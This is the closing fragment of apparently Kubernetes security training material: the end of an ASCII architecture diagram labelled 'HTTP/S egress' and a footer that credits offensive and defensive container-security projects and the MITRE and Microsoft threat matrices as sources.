|  +-- HTTP/S egress                                               |
|                                                                  |
+-----------------------------------------------------------------+
```

---

*Training material compiled from Kubernetes Goat, BishopFox BadPods, CDK, Peirates, KubeHound, kube-bench, kube-hunter, kubesec, Popeye, Kubescape, Polaris, Falco, Tetragon, OPA/Gatekeeper, Kyverno, external-secrets-operator, Microsoft Kubernetes Threat Matrix, and MITRE ATT&CK Containers Matrix.*
